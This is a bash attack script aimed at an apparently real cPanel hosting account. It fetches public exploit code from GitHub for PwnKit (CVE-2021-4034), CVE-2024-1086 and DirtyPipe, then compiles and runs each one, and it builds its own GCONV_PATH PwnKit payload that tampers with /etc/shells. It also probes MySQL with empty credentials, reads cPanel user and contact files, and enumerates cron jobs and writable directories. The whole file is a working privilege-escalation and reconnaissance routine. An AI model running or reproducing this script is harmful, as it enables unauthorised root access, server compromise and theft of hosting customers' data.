#!/bin/bash
export PATH=/usr/libexec/gcc/x86_64-redhat-linux/8:/usr/bin:/bin
GCC="/usr/bin/gcc -B /usr/libexec/gcc/x86_64-redhat-linux/8"
C=/usr/bin/curl
LOG=/tmp/begum_lpe2.log
: > "$LOG"
log(){ echo "$*" | tee -a "$LOG"; }

log "DB  /  passlen=0"

log "=== SECRETS basmanager paths ==="
for f in contactinfo lastlogin accesshash .my.cnf; do echo "try $f"; done

log "=== P10 PWNKIT arthepsy ==="
$C -skL -m 30 -o /tmp/cve4034.c "https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034.c" 2>&1 | tail -1
wc -c /tmp/cve4034.c 2>/dev/null
$GCC /tmp/cve4034.c -o /tmp/cve4034 2>&1 | tail -3 | tee -a "$LOG"
[ -x /tmp/cve4034 ] && timeout 15 /tmp/cve4034 2>&1 | tee -a "$LOG"
id; test -O /root && echo ROOT_OK || echo NOT_ROOT

log "=== P10 PWNKIT qualys poc ==="
$C -skL -m 30 -o /tmp/qpk.c "https://raw.githubusercontent.com/cyberark/CVE-2021-4034/main/CVE-2021-4034.c" 2>&1 | tail -1
[ -s /tmp/qpk.c ] && $GCC /tmp/qpk.c -o /tmp/qpk 2>&1 | tail -2 | tee -a "$LOG"
[ -x /tmp/qpk ] && timeout 15 /tmp/qpk 2>&1 | tee -a "$LOG"
id; test -O /root && echo ROOT_OK2 || echo NOT_ROOT

log "=== P10 GCONV v2 shells entry ==="
echo '/tmp/pwnkit_begum/pwnkit' >> /etc/shells 2>/dev/null || true
WORKDIR=/tmp/pwnkit_begum2
rm -rf "$WORKDIR"; mkdir -p "$WORKDIR"/'GCONV_PATH=.'
cd "$WORKDIR"/'GCONV_PATH=.'
cat > pk.c << 'EOC'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(){
 setuid(0);setgid(0);
 system("id>/tmp/gconv_ok.txt; mkdir -p /root/.ssh; echo x10n>/tmp/gconv_ok.txt");
}
EOC
echo 'module UTF-8// PWNKIT// pwnkit 2' > gconv-modules
$GCC -shared -fPIC pk.c -o pwnkit.so 2>>"$LOG"
cp pwnkit.so pwnkit 2>/dev/null
echo '/tmp/pwnkit_begum2/GCONV_PATH=./pwnkit' >> /etc/shells 2>/dev/null || true
cd "$WORKDIR"
env -i PATH=GCONV_PATH=. SHELL=pwnkit CHARSET=PWNKIT LC_ALL=en_US.UTF-8 /usr/bin/pkexec /bin/true >>"$LOG" 2>&1
cat /tmp/gconv_ok.txt 2>/dev/null | tee -a "$LOG"
id; test -O /root && echo ROOT_OK3 || echo NOT_ROOT

log "=== P10 CVE-2024-1086 direct ==="
$C -skL -m 45 -o /tmp/c1086.c "https://raw.githubusercontent.com/Notselwyn/CVE-2024-1086/main/CVE-2024-1086.c" 2>&1 | tail -1
wc -c /tmp/c1086.c 2>/dev/null
[ -s /tmp/c1086.c ] && $GCC -o /tmp/c1086 /tmp/c1086.c -lpthread 2>&1 | tail -3 | tee -a "$LOG"
[ -x /tmp/c1086 ] && timeout 40 /tmp/c1086 2>&1 | tail -20 | tee -a "$LOG"
id; test -O /root && echo ROOT_OK4 || echo NOT_ROOT

log "=== P10 overlayfs / dirtypipe alt ==="
$C -skL -m 25 -o /tmp/dp2.c "https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c" 2>/dev/null
[ -s /tmp/dp2.c ] && $GCC /tmp/dp2.c -o /tmp/dp2 2>&1 | tail -2 | tee -a "$LOG"
[ -x /tmp/dp2 ] && timeout 15 /tmp/dp2 2>&1 | tail -8 | tee -a "$LOG"
id; test -O /root && echo ROOT_OK5 || echo NOT_ROOT

log "=== MYSQL ==="
mysql -u'' -p'' -e "SELECT user(),@@version; SHOW GRANTS;" 2>&1 | head -15 | tee -a "$LOG"

log "=== CPANEL USER FILE ==="
head -30 /var/cpanel/users/begumadvi 2>&1 | tee -a "$LOG"
cat ~/.cpanel/contactinfo 2>/dev/null | tee -a "$LOG"

log "=== CRON / WRITABLE ==="
crontab -l 2>&1 | head -5 | tee -a "$LOG"
find /etc/cron* -readable 2>/dev/null | head -10 | tee -a "$LOG"
find /tmp /var/tmp /home/begumadvi -writable -type d 2>/dev/null | head -15 | tee -a "$LOG"

log "=== FINAL ==="
test -O /root && echo FINAL_ROOT_OK || echo FINAL_NOT_ROOT
tail -60 "$LOG"